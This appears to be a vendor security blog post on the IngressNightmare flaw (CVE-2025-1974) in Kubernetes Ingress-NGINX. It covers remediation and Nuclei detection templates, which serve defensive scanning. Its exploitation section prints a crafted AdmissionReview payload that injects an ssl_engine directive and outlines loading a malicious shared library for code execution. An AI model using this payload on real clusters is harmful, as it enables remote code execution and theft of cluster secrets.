
Table of Contents
- What is Ingress-Nginx Controller?
- The Role of Ingress Controllers in Kubernetes
- Technical Details of the Vulnerability (CVE-2025-1974)
- The Admission Controller Vulnerability
- The Vulnerability Mechanism
- From Configuration Injection to RCE
- Uploading a Shared Library
- Affected Versions
- Exploitation Demonstration
- Step 1: Identify Vulnerable Clusters
- Step 2: Craft a Malicious Admission Review Request
- Step 3: Upload a Malicious Shared Library
- Step 4: Execute the Payload
- Nuclei Templates for IngressNightmare Detection
- Vulnerable Exposed Admission Controller Template
- Internal Kubernetes Cluster Template
- Remediation Recommendations
- Timeline:
- Conclusion
A critical vulnerability (CVE-2025-1974) was recently discovered in the Kubernetes Ingress-NGINX Controller that allows unauthenticated remote code execution (RCE) on the ingress controller pod.
Originally discovered by the Wiz research team (Nir Ohfeld, Ronen Shustin, Sagi Tzadik, Hillai Ben-Sasson) in late 2024 and disclosed in March 2025, CVE-2025-1974 is part of a series of vulnerabilities collectively called IngressNightmare.
If you’re specifically looking to use the IngressNightmare detection templates, feel free to skip ahead to the end of the blog post.
What is Ingress-Nginx Controller?
Ingress-Nginx Controller is one of the most popular ingress controllers available for Kubernetes, and a core Kubernetes project with over 18.1k+ stars on GitHub. It serves as a critical component in the Kubernetes ecosystem, acting as the gateway between external traffic and internal services running within a Kubernetes cluster.
The Role of Ingress Controllers in Kubernetes
In Kubernetes, an Ingress is an API object that manages external access to services within a cluster, typically via HTTP/HTTPS. However, the Ingress resource itself doesn't do anything without an Ingress controller - a component that interprets the Ingress resource specifications and configures the actual routing.Ingress-Nginx Controller fulfills this role by implementing the Ingress specification using NGINX, one of the most widely used reverse proxies and load balancers. It's explicitly highlighted in the Kubernetes documentation as an example Ingress controller that fulfills the prerequisite for using Ingress in Kubernetes.
Technical Details of the Vulnerability (CVE-2025-1974)
The Admission Controller Vulnerability
CVE-2025-1974 is a critical vulnerability in the Ingress-Nginx Controller that allows for unauthenticated remote code execution. At its core, this vulnerability stems from a design flaw in how the admission controller component processes and validates incoming ingress objects.The admission controller in Ingress-Nginx is designed to validate incoming ingress objects before they are deployed to ensure the resulting NGINX configuration will be valid. By default, these admission controllers are accessible over the network without authentication, making them a highly appealing attack vector.
The Vulnerability Mechanism
When the Ingress-Nginx admission controller processes an incoming ingress object, it constructs an NGINX configuration from it and then validates it using the NGINX binary with the -t
flag. Wiz research team found a vulnerability in this phase that allows injecting arbitrary NGINX configuration remotely by sending a malicious ingress object directly to the admission controller through the network.The vulnerability specifically involves the Ingress annotation, which can be exploited to inject configuration into NGINX. Some annotations can be manipulated to inject arbitrary NGINX directives.Let's examine how this works:
- The admission controller receives an ingress object with a specially crafted
auth-url
annotation - When processing this annotation, the controller doesn't properly sanitize the input
- The malicious annotation value is incorporated into the NGINX configuration
- During validation with
nginx -t
, the injected configuration causes code execution
From Configuration Injection to RCE
The progression from configuration injection to remote code execution exploits weaknesses in NGINX’s configuration validation process. Initially, Wiz research team explored the load_module
directive, which allows loading shared libraries from the filesystem. However, since this directive can only be used at the start of the NGINX configuration, it was incompatible with the injection point. Further investigation led to the ssl_engine
directive, part of the OpenSSL module, which can also load shared libraries. Unlike load_module
, ssl_engine
can be used anywhere within the configuration file.
Uploading a Shared Library
The next challenge in exploiting this vulnerability is placing a shared library on the pod's filesystem. The research team discovered that the Ingress-Nginx pod also runs the NGINX instance itself, listening on port 80 or 443. By sending a specially crafted HTTP request to this instance, we can leverage NGINX's client body buffers to upload a malicious shared library to the filesystem.Once the shared library is uploaded and the malicious configuration is injected, the ssl_engine
directive loads the library during the validation phase, executing the attacker's code with the privileges of the Ingress-Nginx controller pod.
Affected Versions
This vulnerability affects:
- Ingress-Nginx Controller version 1.11.x before 1.11.5
- Ingress-Nginx Controller versions below 1.11.0
The vulnerability has been fixed in versions 1.12.1 and later, as well as 1.11.5 and later.
Exploitation Demonstration
This section provides a detailed walkthrough of how CVE-2025-1974 can be exploited in vulnerable Ingress-Nginx Controller deployments. Understanding the exploitation process is crucial for security teams to properly assess their risk and validate their defenses.
It's important to note that by default, admission controllers are accessible over the network without authentication, making this attack vector particularly dangerous.
Step 1: Identify Vulnerable Clusters
First, an attacker would identify clusters running vulnerable versions of Ingress-Nginx Controller. This can be done by:bash
cli
1kubectl get pods --all-namespaces --selector app.kubernetes.io/name=ingress-nginx
Then checking the image version to determine if it's vulnerable (versions prior to 1.11.5 or 1.12.1).
Step 2: Craft a Malicious Admission Review Request
The attacker creates a specially crafted AdmissionReview request that includes an ingress object with the malicious auth-url
annotation. Here's an example of such a request:
JSON
1{
2 "kind": "AdmissionReview",
3 "apiVersion": "admission.k8s.io/v1",
4 "request": {
5 "uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a5",
6 "kind": {
7 "group": "networking.k8s.io",
8 "version": "v1",
9 "kind": "Ingress"
10 },
11 "resource": {
12 "group": "networking.k8s.io",
13 "version": "v1",
14 "resource": "ingresses"
15 },
16 "requestKind": {
17 "group": "networking.k8s.io",
18 "version": "v1",
19 "kind": "Ingress"
20 },
21 "requestResource": {
22 "group": "networking.k8s.io",
23 "version": "v1",
24 "resource": "ingresses"
25 },
26 "name": "test-ingressxaa",
27 "namespace": "default",
28 "operation": "CREATE",
29 "userInfo": {
30
31 },
32 "object": {
33 "kind": "Ingress",
34 "apiVersion": "networking.k8s.io/v1",
35 "metadata": {
36 "name": "test-ingressxaa",
37 "namespace": "default",
38 "creationTimestamp": null,
39 "annotations": {
40 "nginx.ingress.kubernetes.io/rewrite-target": "/",
41"nginx.ingress.kubernetes.io/auth-url": "http://example.com#;}}}\nssl_engine /path/to/shared-library.so;events {\nserver { location /aa { #"
42 }
43 },
44 "spec": {
45 "ingressClassName": "nginx",
46 "rules": [
47 {
48 "host": "test.local",
49 "http": {
50 "paths": [
51 ]
52 }
53 }
54 ]
55 },
56 "status": {
57 "loadBalancer": {}
58 }
59 },
60 "oldObject": null,
61 "dryRun": true,
62 "options": {
63 "kind": "CreateOptions",
64 "apiVersion": "meta.k8s.io/v1"
65 }
66 }
67}
The key part of this payload is the auth-url
annotation, which contains the NGINX configuration injection.
Step 3: Upload a Malicious Shared Library
In parallel, the attacker needs to upload a malicious shared library to the pod's filesystem. This can be done by sending a specially crafted HTTP request to the NGINX instance running in the same pod:
- Create a malicious shared library (.so file) that contains the code to be executed
- Send a large HTTP POST request to the NGINX instance
- The request body will be buffered to disk due to its size
- The attacker can then reference this file using the
ssl_engine
directive
Step 4: Execute the Payload
When the admission controller processes the malicious ingress object, it will:
- Generate an NGINX configuration that includes the injected directives
- Validate the configuration using
nginx -t
- During validation, the
ssl_engine
directive will load the malicious shared library - The code in the shared library will execute with the privileges of the Ingress-Nginx controller pod
Nuclei Templates for IngressNightmare Detection
To help security teams identify vulnerable Ingress-Nginx Controller deployments in their environments, we've write Nuclei templates for both external and internal testing. These templates can be used to detect the presence of CVE-2025-1974 in your Kubernetes clusters.
Vulnerable Exposed Admission Controller Template
This template is designed to detect vulnerable Ingress-Nginx
admission controllers that are exposed to the internet. It works by sending a crafted admission review request and analyzing the response.
Nuclei Template to detect CVE-2025-1974 - CVE Scan URL
cli
1id: CVE-2025-1974
2
3info:
4 name: Ingress-Nginx Controller - Remote Code Execution
5 author: iamnoooob,rootxharsh,pdresearch
6 severity: critical
7 description: |
8 A security issue was discovered in ingress-nginx where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller
9 impact: |
10 Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
11 remediation: |
12 Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
13 reference:
14 - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
15 - https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
16 - https://nvd.nist.gov/vuln/detail/CVE-2025-1974
17 classification:
18 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
19 cvss-score: 9.8
20 cwe-id: CWE-653
21 cve-id: CVE-2025-1974
22 metadata:
23 verified: true
24 max-request: 1
25 shodan-query: ssl:"ingress-nginx" port:8443
26 tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s
27
28http:
29 - raw:
30 - |
31 POST / HTTP/1.1
32 Host: {{Hostname}}
33 Content-Type: application/json
34
35 {
36 "kind": "AdmissionReview",
37 "apiVersion": "admission.k8s.io/v1",
38 "request": {
39 "uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a6",
40 "kind": {
41 "group": "networking.k8s.io",
42 "version": "v1",
43 "kind": "Ingress"
44 },
45 "resource": {
46 "group": "networking.k8s.io",
47 "version": "v1",
48 "resource": "ingresses"
49 },
50 "requestKind": {
51 "group": "networking.k8s.io",
52 "version": "v1",
53 "kind": "Ingress"
54 },
55 "requestResource": {
56 "group": "networking.k8s.io",
57 "version": "v1",
58 "resource": "ingresses"
59 },
60 "name": "test-{{randstr}}",
61 "namespace": "default",
62 "operation": "CREATE",
63 "userInfo": {
64
65 },
66 "object": {
67 "kind": "Ingress",
68 "apiVersion": "networking.k8s.io/v1",
69 "metadata": {
70 "name": "test-{{randstr}}",
71 "namespace": "default",
72 "creationTimestamp": null,
73 "annotations": {
74 "nginx.ingress.kubernetes.io/auth-url": "http://example.com#;load_module test;\n"
75 }
76 },
77 "spec": {
78 "ingressClassName": "nginx",
79 "rules": [
80 {
81 "host": "{{randstr}}",
82 "http": {
83 "paths": [
84 ]
85 }
86 }
87 ]
88 },
89 "status": {
90 "loadBalancer": {}
91 }
92 },
93 "oldObject": null,
94 "dryRun": true,
95 "options": {
96 "kind": "CreateOptions",
97 "apiVersion": "meta.k8s.io/v1"
98 }
99 }
100 }
101
102 matchers:
103 - type: word
104 part: body
105 words:
106 - 'AdmissionReview'
107 - 'directive is not allowed here'
108 - 'load_module'
109 condition: and
cli
1pwnmachine@PD ~ % nuclei -t CVE-2025-1974.yaml -u "https://<redacted>:8443"
2 __ _
3 ____ __ _______/ /__ (_)
4 / __ \/ / / / ___/ / _ \/ /
5 / / / / /_/ / /__/ / __/ /
6/_/ /_/\__,_/\___/_/\___/_/ v3.3.10
7
8 projectdiscovery.io
9
10[INF] Current nuclei version: v3.3.10 (latest)
11[INF] Current nuclei-templates version: v10.1.5 (latest)
12[WRN] Scan results upload to cloud is disabled.
13[INF] New templates added in latest release: 281
14[INF] Templates loaded for current scan: 1
15[WRN] Loading 1 unsigned templates for scan. Use with caution.
16[INF] Targets loaded for current scan: 1
17
18[CVE-2025-1974] [http] [critical] https://<redacted>:8443
Template Breakdown:
Sending a POST request to the target host with a specially crafted AdmissionReview JSON payload
- The payload includes an ingress object with a malicious annotation that attempts to inject a
load_module
directive that tries to load a random file on the filesystem. - If the target is a vulnerable Ingress-Nginx admission controller, it will process the request and return an error message indicating that the "DSO support routines:: could not load the shared library", along side some other error messages which are then matched by the template for detection.
This template is particularly useful for identifying externally exposed admission controllers that could be targeted by attackers.
Internal Kubernetes Cluster Template
The following template is to be run from within a Kubernetes cluster. This can come in handy along with other Kubernetes Cluster Security templates during Kubernetes configuration review engagements.
It checks for vulnerable versions of the Ingress-Nginx controller by examining the container images used in the deployment.
cli
1id: CVE-2025-1974-k8s
2
3info:
4 name: Ingress-Nginx Controller - Unauthenticated Remote Code Execution
5 author: princechaddha
6 severity: critical
7 description: A security issue was discovered in ingress-nginx where some Ingress annotations can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller
8 impact: |
9 Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
10 remediation: |
11 Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
12 reference:
13 - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
14 -
15 tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security
16
17flow: |
18 code(1) ;
19 for (let pod of template.items) {
20 set("pod", pod)
21 javascript(1);
22 }
23
24self-contained: true
25code:
26 - engine:
27 - sh
28 - bash
29 source: kubectl get pods -n ingress-nginx -l app.kubernetes.io/component=controller -o json
30 extractors:
31 - type: json
32 name: items
33 internal: true
34 json:
35 - '.items[]'
36
37javascript:
38 - code: |
39 let podData = JSON.parse(template.pod);
40
41 const container = podData.spec.containers.find(c => c.name === 'controller');
42 if (container && container.image) {
43 const imageTag = container.image.split(':')[1];
44 if (imageTag) {
45 const version = imageTag.split('@')[0].replace(/^v/, '');
46 const [major, minor, patch] = version.split('.').map(v => parseInt(v, 10));
47
48 if ((major === 1 && minor === 11 && patch < 5) ||
49 (major === 1 && minor === 12 && patch === 0) ||
50 (major === 1 && minor < 11) ||
51 (major === 1 && minor === 9 && patch <= 3)) {
52 let result = (`Ingress-Nginx controller in namespace '${podData.metadata.namespace}' is running vulnerable version ${version}. Update to v1.12.1+ or v1.11.5+`);
53 Export(result);
54 }
55 }
56 }
57
58 extractors:
59 - type: dsl
60 dsl:
61 - response
cli
1pwnmachine@PD ~ % nuclei -t CVE-2025-1974-k8s.yaml -code
2
3 __ _
4 ____ __ _______/ /__ (_)
5 / __ \/ / / / ___/ / _ \/ /
6 / / / / /_/ / /__/ / __/ /
7/_/ /_/\__,_/\___/_/\___/_/ v3.3.10
8
9 projectdiscovery.io
10
11[INF] Current nuclei version: v3.3.10 (latest)
12[INF] Current nuclei-templates version: v10.1.5 (latest)
13[WRN] Scan results upload to cloud is disabled.
14[INF] New templates added in latest release: 0
15[INF] Templates loaded for current scan: 1
16[INF] Executing 1 signed templates from a
17
18[CVE-2025-1974-k8s] [javascript] [critical] ["Ingress-Nginx controller in namespace 'ingress-nginx' is running vulnerable version 1.9.3. Update to v1.12.1+ or v1.11.5+"]
Template Breakdown:
- Using
kubectl
to get all pods in theingress-nginx
namespace with the labelapp.kubernetes.io/component=controller
- For each pod found, it extracts the container image version
- It then parses the version number and checks if it matches any of the vulnerable version patterns
- If a vulnerable version is detected, it reports the finding with details about the affected namespace and version
This template is particularly useful for security teams conducting internal audits of their Kubernetes environments.
You can check out the blog below if you’d like to learn more about the above template along with our other Kubernetes cluster security templates.
To use these templates with Nuclei:
- Run the external template against potentially exposed admission controllers:
cli
1nuclei -t CVE-2025-1974.yaml -u https://admission-controller-endpoint
- To run the internal template we need to install
kubectl
and configure its contexts or specific access permissions. We need to sign the template before running it, as it’s a code-based template and requires signing to prevent the execution of untrusted external code.
cli
1nuclei -id CVE-2025-1974-k8s.yaml -sign
2nuclei -id CVE-2025-1974-k8s.yaml -code
It's important to note that the internal template requires kubectl
access to your cluster with appropriate permissions, while the external template can be run from anywhere with network access to the target.
Remediation Recommendations
We strongly recommend the following actions to mitigate the risk of this vulnerability:
- Update Immediately: Upgrade to Ingress-Nginx Controller version 1.12.1 or later, or version 1.11.5 or later. This is the most effective way to address the vulnerability.
- Network Policies: Implement strict network policies to ensure that only the Kubernetes API Server can access the admission controller.
Timeline:
- December 31, 2024: Vulnerability (CVE-2025-1974) initially reported privately to Kubernetes security team by Wiz Research.
- March 24, 2025: Public disclosure and detailed advisory published by Kubernetes and Wiz Research. Patched versions (1.12.1 and 1.11.5) released.
- March 25, 2025: The Nuclei templates for internal detection were published by the ProjectDiscovery Team.
- March 26, 2025: The Nuclei templates for external detection were published by the ProjectDiscovery Team.
Conclusion
The IngressNightmare vulnerability (CVE-2025-1974) represents one of the most significant security threats to Kubernetes environments in recent years. This critical unauthenticated remote code execution vulnerability in the Ingress-Nginx Controller can lead to complete cluster takeover, with attackers gaining access to all secrets across namespaces.
This template is also integrated into the ProjectDiscovery Cloud platform, enabling our customers to automatically scan for this vulnerability as part of their continuous security assessments.